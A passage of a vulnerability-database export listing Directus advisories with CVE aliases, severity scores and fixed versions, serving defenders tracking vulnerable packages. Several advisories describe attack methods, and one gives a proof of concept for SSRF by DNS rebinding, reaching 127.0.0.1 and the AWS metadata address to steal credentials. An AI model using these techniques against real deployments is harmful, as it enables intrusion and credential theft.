vulnerability VCID-rq5y-ee4h-gkff
31
vulnerability VCID-sxfr-pmr2-x7e7
32
vulnerability VCID-szpk-4g6r-f3e6
33
vulnerability VCID-trbn-m8sj-ffa4
34
vulnerability VCID-u5pc-6e92-zyev
35
vulnerability VCID-vt3b-2dr3-aka2
36
vulnerability VCID-vthx-5g35-zfcp
37
vulnerability VCID-wcaq-4zzz-qfb7
38
vulnerability VCID-ycj2-8tqq-jyag
39
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@9.7.0
aliases CVE-2022-23080, GHSA-5h75-pvq4-82c9
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-5w3v-5auy-dfez
10
url VCID-662k-n18g-mybg
vulnerability_id VCID-662k-n18g-mybg
summary
Directus' exact version number is exposed by the OpenAPI Spec
### Summary

The exact Directus version number is incorrectly being used as OpenAPI Spec version this means that it is being exposed by the `/server/specs/oas` endpoint without authentication. 

### Impact

With the exact version information a malicious attacker can look for known vulnerabilities in Directus core or any of its shipped dependencies in that specific running version.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-53887
reference_id
reference_type
scores
0
value 0.00316
scoring_system epss
scoring_elements 0.54914
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-53887
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/e74f3e4e92edc33b5f83eefb001a3d2a85af17a3
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:45:18Z/
url https://github.com/directus/directus/commit/e74f3e4e92edc33b5f83eefb001a3d2a85af17a3
3
reference_url https://github.com/directus/directus/pull/25353
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:45:18Z/
url https://github.com/directus/directus/pull/25353
4
reference_url https://github.com/directus/directus/releases/tag/v11.9.0
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:45:18Z/
url https://github.com/directus/directus/releases/tag/v11.9.0
5
reference_url https://github.com/directus/directus/security/advisories/GHSA-rmjh-cf9q-pv7q
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:45:18Z/
url https://github.com/directus/directus/security/advisories/GHSA-rmjh-cf9q-pv7q
6
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-53887
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-53887
7
reference_url https://github.com/advisories/GHSA-rmjh-cf9q-pv7q
reference_id GHSA-rmjh-cf9q-pv7q
reference_type
scores
url https://github.com/advisories/GHSA-rmjh-cf9q-pv7q
fixed_packages
0
url pkg:npm/directus@11.9.0
purl pkg:npm/directus@11.9.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1xcr-rv9q-9kaz
1
vulnerability VCID-2uz6-wjn7-kug4
2
vulnerability VCID-4x1w-8bx4-rqf9
3
vulnerability VCID-6ggp-xn4c-gya3
4
vulnerability VCID-6mr6-u3vk-sygm
5
vulnerability VCID-88w3-rw8u-rqea
6
vulnerability VCID-bwww-3wep-2ydf
7
vulnerability VCID-exwx-sqry-c3gc
8
vulnerability VCID-hv63-3zhy-dyae
9
vulnerability VCID-kugb-dwxd-6fhe
10
vulnerability VCID-mk5k-pf2s-mfe9
11
vulnerability VCID-n9br-39bb-7ugt
12
vulnerability VCID-rq5y-ee4h-gkff
13
vulnerability VCID-trbn-m8sj-ffa4
14
vulnerability VCID-vt3b-2dr3-aka2
15
vulnerability VCID-wcaq-4zzz-qfb7
16
vulnerability VCID-ycj2-8tqq-jyag
17
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.9.0
aliases CVE-2025-53887, GHSA-rmjh-cf9q-pv7q
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-662k-n18g-mybg
11
url VCID-6ggp-xn4c-gya3
vulnerability_id VCID-6ggp-xn4c-gya3
summary
Directus: Path Traversal and Broken Access Control in File Management API
## Summary

A broken access control vulnerability was identified in the Directus file management API that allows authenticated users to overwrite files belonging to other users by manipulating the `filename_disk` parameter.

## Details

The `PATCH /files/{id}` endpoint accepts a user-controlled `filename_disk` parameter. By setting this value to match the storage path of another user's file, an attacker can overwrite that file's content while manipulating metadata fields such as `uploaded_by` to obscure the tampering.

## Impact

- **Unauthorized File Overwrite**: Attackers can replace legitimate files with malicious content, creating significant risk of malware propagation and data corruption.
- **Remote Code Execution**: If the storage backend is shared with the extensions location, attackers can deploy malicious extensions that execute arbitrary code when loaded.
- **Data Integrity Compromise**: Files can be tampered with or replaced without visible indication in the application interface.

## Mitigation

The `filename_disk` parameter should be treated as a server-controlled value. Uniqueness of storage paths must be enforced server-side, and `filename_disk` should be excluded from the fields users are permitted to update directly.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-39942
reference_id
reference_type
scores
0
value 0.0004
scoring_system epss
scoring_elements 0.12316
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-39942
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 8.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/releases/tag/v11.17.0
reference_id
reference_type
scores
0
value 8.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-09T17:47:33Z/
url https://github.com/directus/directus/releases/tag/v11.17.0
3
reference_url https://github.com/directus/directus/security/advisories/GHSA-393c-p46r-7c95
reference_id
reference_type
scores
0
value 8.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-09T17:47:33Z/
url https://github.com/directus/directus/security/advisories/GHSA-393c-p46r-7c95
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-39942
reference_id
reference_type
scores
0
value 8.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-39942
5
reference_url https://github.com/advisories/GHSA-393c-p46r-7c95
reference_id GHSA-393c-p46r-7c95
reference_type
scores
url https://github.com/advisories/GHSA-393c-p46r-7c95
fixed_packages
0
url pkg:npm/directus@11.17.0
purl pkg:npm/directus@11.17.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.17.0
aliases CVE-2026-39942, GHSA-393c-p46r-7c95
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-6ggp-xn4c-gya3
12
url VCID-6mr6-u3vk-sygm
vulnerability_id VCID-6mr6-u3vk-sygm
summary
Directus: Authenticated Users Can Extract Concealed Fields via Aggregate Queries
### Summary

Aggregate functions (`min`, `max`) applied to fields with the `conceal` special type incorrectly return raw database values instead of the masked placeholder. When combined with `groupBy`, any authenticated user with read access to the affected collection can extract concealed field values, including static API tokens and two-factor authentication secrets from `directus_users`.

### Details

Fields marked with `conceal` are protected by payload processing logic that replaces real values with a masked placeholder on read. This protection works correctly for standard item queries, but aggregate query results are structured differently, operations are nested under their function name rather than appearing as flat field keys. The masking logic does not account for this nested structure, causing it to silently skip concealed fields in aggregate responses and return their raw values to the client.

### Impact

- **Account Takeover** An authenticated attacker can harvest static API tokens for all users, including administrators, enabling immediate authentication as any account without credentials.

- **2FA Bypass** TOTP seeds stored in directus_users can similarly be extracted, allowing an attacker to bypass two-factor authentication for any account.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-35442
reference_id
reference_type
scores
0
value 0.00018
scoring_system epss
scoring_elements 0.04955
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-35442
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/security/advisories/GHSA-38hg-ww64-rrwc
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-04-07T13:30:05Z/
url https://github.com/directus/directus/security/advisories/GHSA-38hg-ww64-rrwc
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-35442
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-35442
4
reference_url https://github.com/advisories/GHSA-38hg-ww64-rrwc
reference_id GHSA-38hg-ww64-rrwc
reference_type
scores
url https://github.com/advisories/GHSA-38hg-ww64-rrwc
fixed_packages
0
url pkg:npm/directus@11.17.0
purl pkg:npm/directus@11.17.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.17.0
aliases CVE-2026-35442, GHSA-38hg-ww64-rrwc
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-6mr6-u3vk-sygm
13
url VCID-6z4j-ev48-67hq
vulnerability_id VCID-6z4j-ev48-67hq
summary
Directus vulnerable to Server-Side Request Forgery On File Import
### Summary
Directus versions <=9.22.4 is vulnerable to Server-Side Request Forgery (SSRF) when importing a file from a remote web server (POST to `/files/import`). An attacker can bypass the security controls that were implemented to patch vulnerability [CVE-2022-23080](https://security.snyk.io/vuln/SNYK-JS-DIRECTUS-2934713) by performing a [DNS rebinding attack](https://en.wikipedia.org/wiki/DNS_rebinding) and view sensitive data from internal servers or perform a local port scan (eg. can access internal metadata API for AWS at `http://169.254.169.254` event if `169.254.169.254` is in the deny IP list).

### Details
DNS rebinding attacks work by running a DNS name server that resolves two different IP addresses when a domain is resolved simultaneously. This type of attack can be exploited to bypass the IP address deny list validation that was added to [`/api/src/services/file.ts`](https://github.com/directus/directus/blob/main/api/src/services/files.ts) for the function `importOne` to mitigate the previous SSRF vulnerability [CVE-2022-23080](https://security.snyk.io/vuln/SNYK-JS-DIRECTUS-2934713). The validation in [`/api/src/services/file.ts`](https://github.com/directus/directus/blob/main/api/src/services/files.ts) first checks if the resolved IP address for a domain name does not a resolve to an IP address in the deny list:

```js
let ip = resolvedUrl.hostname;

if (net.isIP(ip) === 0) {
    try {
        ip = (await lookupDNS(ip)).address;
    } catch (err: any) {
        logger.warn(err, `Couldn't lookup the DNS for url ${importURL}`);
        throw new ServiceUnavailableException(`Couldn't fetch file from url "${importURL}"`, {
            service: 'external-file',
        });
    }
}

if (env.IMPORT_IP_DENY_LIST.includes('0.0.0.0')) {
    const networkInterfaces = os.networkInterfaces();

    for (const networkInfo of Object.values(networkInterfaces)) {
        if (!networkInfo) continue;

        for (const info of networkInfo) {
            if (info.address === ip) {
                logger.warn(`Requested URL ${importURL} resolves to localhost.`);
                throw new ServiceUnavailableException(`Couldn't fetch file from url "${importURL}"`, {
                    service: 'external-file',
                });
            }
        }
    }
}

if (env.IMPORT_IP_DENY_LIST.includes(ip)) {
    logger.warn(`Requested URL ${importURL} resolves to a denied IP address.`);
    throw new ServiceUnavailableException(`Couldn't fetch file from url "${importURL}"`, {
        service: 'external-file',
    });
}
```

Once it validates that the resolved IP address is not in the deny list, then it uses `axios` to `GET` the url and saves the response content.

```js
try {
    fileResponse = await axios.get<Readable>(encodeURL(importURL), {
        responseType: 'stream',
    });
} catch (err: any) {
    logger.warn(err, `Couldn't fetch file from url "${importURL}"`);
    throw new ServiceUnavailableException(`Couldn't fetch file from url "${importURL}"`, {
        service: 'external-file',
    });
}
```

However, this validation check and fetching the web resource causes to DNS queries that enable a DNS rebinding attack. On the first DNS query, an attacker controlled name server can be configured to resolve to an external IP address that is not in the deny list to bypass the validation. Then when `axios` is called, the name server resolves the domain name to a local IP address.

### PoC
To demonstrate we will be using an online tool named [rebinder](https://lock.cmpxchg8b.com/rebinder.html). Rebinder randomly changes the IP address it resolves to depending on the subdomain. For an example, `7f000001.8efa468e.rbndr.us` can resolve to either `142.250.70.142` (google.com) or **`127.0.0.1`**. Sending multiple `POST` requests to `/files/import` using this domain will eventually cause a resolution to `142.250.70.142` first to bypass the validation then fetch the sensitive from an internal server when `axios` is called.

The following screenshots show what it looks like when a successful attack occurs.

*Downloading a file named `secret.txt` from a webserver running from `http://127.0.0.1/secret.txt`*
![image](https://user-images.githubusercontent.com/6276577/218124035-26f7f0c3-47b3-424d-b4d4-bd3b47161983.png)

*Receiving the request from the internal server. Note that the incoming connection is from **127.0.0.1**.*
![image](https://user-images.githubusercontent.com/6276577/218124119-87b8d5d6-934d-4e07-be4d-066616a9a435.png)

*After downloading the file it leaks the content of the secret file.*
![image](https://user-images.githubusercontent.com/6276577/218122210-87b2e478-1081-4830-a9ea-e5d9f39bb129.png)

### Impact
An attacker can exploit this vulnerability to access highly sensitive internal server and steal sensitive information. An example is on Cloud Environments that utilise internal APIs for managing machine and privileges. For an example, if `directus` is hosted on AWS EC2 instance and has an IAM role assigned to the EC2 instance then an attacker can exploit this vulnerability to steal the AWS access keys to impersonate the EC2 instance using the AWS API.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2023-26492
reference_id
reference_type
scores
0
value 0.0023
scoring_system epss
scoring_elements 0.45787
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2023-26492
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/ff53d3e69a602d05342e15d9bb616884833ddbff
reference_id
reference_type
scores
0
value 5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-02-25T14:30:38Z/
url https://github.com/directus/directus/commit/ff53d3e69a602d05342e15d9bb616884833ddbff
3
reference_url https://github.com/directus/directus/releases/tag/v9.23.0
reference_id
reference_type
scores
0
value 5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-02-25T14:30:38Z/
url https://github.com/directus/directus/releases/tag/v9.23.0
4
reference_url https://github.com/directus/directus/security/advisories/GHSA-j3rg-3rgm-537h
reference_id
reference_type
scores
0
value 5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-02-25T14:30:38Z/
url https://github.com/directus/directus/security/advisories/GHSA-j3rg-3rgm-537h
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2023-26492
reference_id
reference_type
scores
0
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2023-26492
6
reference_url https://github.com/advisories/GHSA-j3rg-3rgm-537h
reference_id GHSA-j3rg-3rgm-537h
reference_type
scores
url https://github.com/advisories/GHSA-j3rg-3rgm-537h
fixed_packages
0
url pkg:npm/directus@9.23.0
purl pkg:npm/directus@9.23.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-4qw3-s2gp-9bc8
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@9.23.0
1
url pkg:npm/directus@9.23.1
purl pkg:npm/directus@9.23.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-28xp-kp38-8kem
3
vulnerability VCID-2hc2-7tsc-nka1
4
vulnerability VCID-2hv8-fgdr-hugf
5
vulnerability VCID-2uz6-wjn7-kug4
6
vulnerability VCID-4aek-ts88-rqaj
7
vulnerability VCID-4qw3-s2gp-9bc8
8
vulnerability VCID-4uk6-xe3f-h3h9
9
vulnerability VCID-4v6n-unvz-wff3
10
vulnerability VCID-4x1w-8bx4-rqf9
11
vulnerability VCID-547q-d837-dfcz
12
vulnerability VCID-662k-n18g-mybg
13
vulnerability VCID-6ggp-xn4c-gya3
14
vulnerability VCID-6mr6-u3vk-sygm
15
vulnerability VCID-7w4r-sr7k-77g1
16
vulnerability VCID-88w3-rw8u-rqea
17
vulnerability VCID-95tn-g8wd-63hq
18
vulnerability VCID-a75s-xyu6-wbcw
19
vulnerability VCID-a9tr-a8r5-57en
20
vulnerability VCID-bjb3-z2we-rqab
21
vulnerability VCID-bwww-3wep-2ydf
22
vulnerability VCID-djhf-pqnt-6qcp
23
vulnerability VCID-dy98-51bk-p3fk
24
vulnerability VCID-exwx-sqry-c3gc
25
vulnerability VCID-hv63-3zhy-dyae
26
vulnerability VCID-j711-a6gm-b7hr
27
vulnerability VCID-km7s-b9cy-57c3
28
vulnerability VCID-mk5k-pf2s-mfe9
29
vulnerability VCID-n7g1-hmy7-j7g9
30
vulnerability VCID-n9br-39bb-7ugt
31
vulnerability VCID-rq5y-ee4h-gkff
32
vulnerability VCID-sxfr-pmr2-x7e7
33
vulnerability VCID-szpk-4g6r-f3e6
34
vulnerability VCID-trbn-m8sj-ffa4
35
vulnerability VCID-u5pc-6e92-zyev
36
vulnerability VCID-uft7-5e9d-dqh8
37
vulnerability VCID-vt3b-2dr3-aka2
38
vulnerability VCID-wcaq-4zzz-qfb7
39
vulnerability VCID-ycj2-8tqq-jyag
40
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@9.23.1
aliases CVE-2023-26492, GHSA-j3rg-3rgm-537h
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-6z4j-ev48-67hq
14
url VCID-7w4r-sr7k-77g1
vulnerability_id VCID-7w4r-sr7k-77g1
summary
Session Token in URL in directus
### Impact

When reaching the /files page, a JWT is passed via GET request. Inclusion of session tokens in URLs poses a security risk as URLs are often logged in various places (e.g., web server logs, browser history). Attackers gaining access to these logs may hijack active user sessions, leading to unauthorized access to sensitive information or actions on behalf of the user.

### Patches

_Has the problem been patched? What versions should users upgrade to?_

### Workarounds

There's no workaround available.

### References

_Are there any links users can visit to find out more?_
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2024-28238
reference_id
reference_type
scores
0
value 0.0009
scoring_system epss
scoring_elements 0.25562
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2024-28238
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 2.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
1
value LOW
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/security/advisories/GHSA-2ccr-g2rv-h677
reference_id
reference_type
scores
0
value 2.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
1
value LOW
scoring_system cvssv3.1_qr
scoring_elements
2
value LOW
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-08-02T19:50:33Z/
url https://github.com/directus/directus/security/advisories/GHSA-2ccr-g2rv-h677
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2024-28238
reference_id
reference_type
scores
0
value 2.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
1
value LOW
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2024-28238
4
reference_url https://github.com/advisories/GHSA-2ccr-g2rv-h677
reference_id GHSA-2ccr-g2rv-h677
reference_type
scores
0
value LOW
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-2ccr-g2rv-h677
fixed_packages
0
url pkg:npm/directus@10.10.0
purl pkg:npm/directus@10.10.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-28xp-kp38-8kem
3
vulnerability VCID-2hc2-7tsc-nka1
4
vulnerability VCID-2hv8-fgdr-hugf
5
vulnerability VCID-2uz6-wjn7-kug4
6
vulnerability VCID-4aek-ts88-rqaj
7
vulnerability VCID-4v6n-unvz-wff3
8
vulnerability VCID-4x1w-8bx4-rqf9
9
vulnerability VCID-547q-d837-dfcz
10
vulnerability VCID-662k-n18g-mybg
11
vulnerability VCID-6ggp-xn4c-gya3
12
vulnerability VCID-6mr6-u3vk-sygm
13
vulnerability VCID-88w3-rw8u-rqea
14
vulnerability VCID-95tn-g8wd-63hq
15
vulnerability VCID-a75s-xyu6-wbcw
16
vulnerability VCID-a9tr-a8r5-57en
17
vulnerability VCID-bwww-3wep-2ydf
18
vulnerability VCID-dy98-51bk-p3fk
19
vulnerability VCID-exwx-sqry-c3gc
20
vulnerability VCID-gnzq-q9g9-m3a4
21
vulnerability VCID-hv63-3zhy-dyae
22
vulnerability VCID-j711-a6gm-b7hr
23
vulnerability VCID-jx6x-mxnq-4qe2
24
vulnerability VCID-kugb-dwxd-6fhe
25
vulnerability VCID-mk5k-pf2s-mfe9
26
vulnerability VCID-n7g1-hmy7-j7g9
27
vulnerability VCID-n9br-39bb-7ugt
28
vulnerability VCID-rq5y-ee4h-gkff
29
vulnerability VCID-szpk-4g6r-f3e6
30
vulnerability VCID-trbn-m8sj-ffa4
31
vulnerability VCID-u5pc-6e92-zyev
32
vulnerability VCID-uft7-5e9d-dqh8
33
vulnerability VCID-vt3b-2dr3-aka2
34
vulnerability VCID-wcaq-4zzz-qfb7
35
vulnerability VCID-wx6m-6dac-xqaj
36
vulnerability VCID-ycj2-8tqq-jyag
37
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@10.10.0
aliases CVE-2024-28238, GHSA-2ccr-g2rv-h677
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-7w4r-sr7k-77g1
15
url VCID-88w3-rw8u-rqea
vulnerability_id VCID-88w3-rw8u-rqea
summary
Directus's conceal fields are searchable if read permissions enabled
## Summary

A vulnerability allows authenticated users to search concealed/sensitive fields when they have read permissions. While actual values remain masked (`****`), successful matches can be detected through returned records, enabling enumeration attacks on sensitive data.

## Details

The system permits search operations on concealed fields in the `directus_users` collection, including `token`, `tfa_secret`, `password`. Matching records are returned with masked values, but their presence confirms the searched value exists.

The "Recommended Defaults" for "App Access" grant users full read permissions to their role/user records, inadvertently enabling them to search for any user's tokens, TFA secrets, and password hashes. Attackers can leverage known password hashes from breach databases to identify accounts with compromised passwords.

# Impact

This vulnerability enables:
- **Token enumeration** - Verification of valid authentication tokens
- **Password hash matching** - Identification of accounts using known compromised passwords
- **Information disclosure** - Confirmation of sensitive value existence without viewing actual data
- **Increased attack surface** - Default permissions automatically expose all deployments using recommended settings

The risk is particularly high for password fields, where attackers can cross-reference publicly available hash databases to identify vulnerable accounts.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-64748
reference_id
reference_type
scores
0
value 0.00044
scoring_system epss
scoring_elements 0.13866
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-64748
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/7737d56e096f95edfbdf861a3c08999ad31ce204
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-11-13T21:39:19Z/
url https://github.com/directus/directus/commit/7737d56e096f95edfbdf861a3c08999ad31ce204
3
reference_url https://github.com/directus/directus/security/advisories/GHSA-8jpw-gpr4-8cmh
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-11-13T21:39:19Z/
url https://github.com/directus/directus/security/advisories/GHSA-8jpw-gpr4-8cmh
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-64748
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-64748
5
reference_url https://github.com/advisories/GHSA-8jpw-gpr4-8cmh
reference_id GHSA-8jpw-gpr4-8cmh
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-8jpw-gpr4-8cmh
fixed_packages
0
url pkg:npm/directus@11.13.0
purl pkg:npm/directus@11.13.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1xcr-rv9q-9kaz
1
vulnerability VCID-2uz6-wjn7-kug4
2
vulnerability VCID-6ggp-xn4c-gya3
3
vulnerability VCID-6mr6-u3vk-sygm
4
vulnerability VCID-bwww-3wep-2ydf
5
vulnerability VCID-exwx-sqry-c3gc
6
vulnerability VCID-hv63-3zhy-dyae
7
vulnerability VCID-n9br-39bb-7ugt
8
